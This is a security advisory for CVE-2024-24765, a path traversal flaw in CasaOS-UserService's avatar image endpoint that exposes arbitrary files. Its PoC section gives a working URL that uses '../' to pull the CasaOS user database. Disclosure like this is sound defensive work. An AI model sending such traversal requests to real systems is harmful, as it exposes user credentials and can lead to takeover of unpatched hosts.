icewhaletech/casaos-userservice · Security
CasaOS-UserService allows unauthorized access to any file
- GHSA ID
- GHSA-h5gf-cmm8-cg7c
- CVE ID
- CVE-2024-24765
- Severity
- high
- Published
- Updated
- CVSS
- 7.5 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- CVSS v3
- 7.5 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Description
Summary
http://demo.casaos.io/v1/users/image?path=/var/lib/casaos/1/avatar.png
Originally it was to get the url of the user's avatar, but the path filtering was not strict, making it possible to get any file on the system.
Details
Construct paths to get any file.
Such as the CasaOS user database, and furthermore can obtain system root privileges.
PoC
http://demo.casaos.io/v1/users/image?path=/var/lib/casaos/conf/../db/user.db
Impact
v0.4.6 all previous versions
CWEs
- CWE-200 · Exposure of Sensitive Information to an Unauthorized Actor
References
- https://github.com/IceWhaleTech/CasaOS-UserService/security/advisories/GHSA-h5gf-cmm8-cg7c ↗
- https://github.com/IceWhaleTech/CasaOS-UserService/commit/3f4558e23c0a9958f9a0e20aabc64aa8fd51840e ↗
- https://github.com/IceWhaleTech/CasaOS-UserService/releases/tag/v0.4.7 ↗
- https://nvd.nist.gov/vuln/detail/CVE-2024-24765 ↗
- https://github.com/advisories/GHSA-h5gf-cmm8-cg7c ↗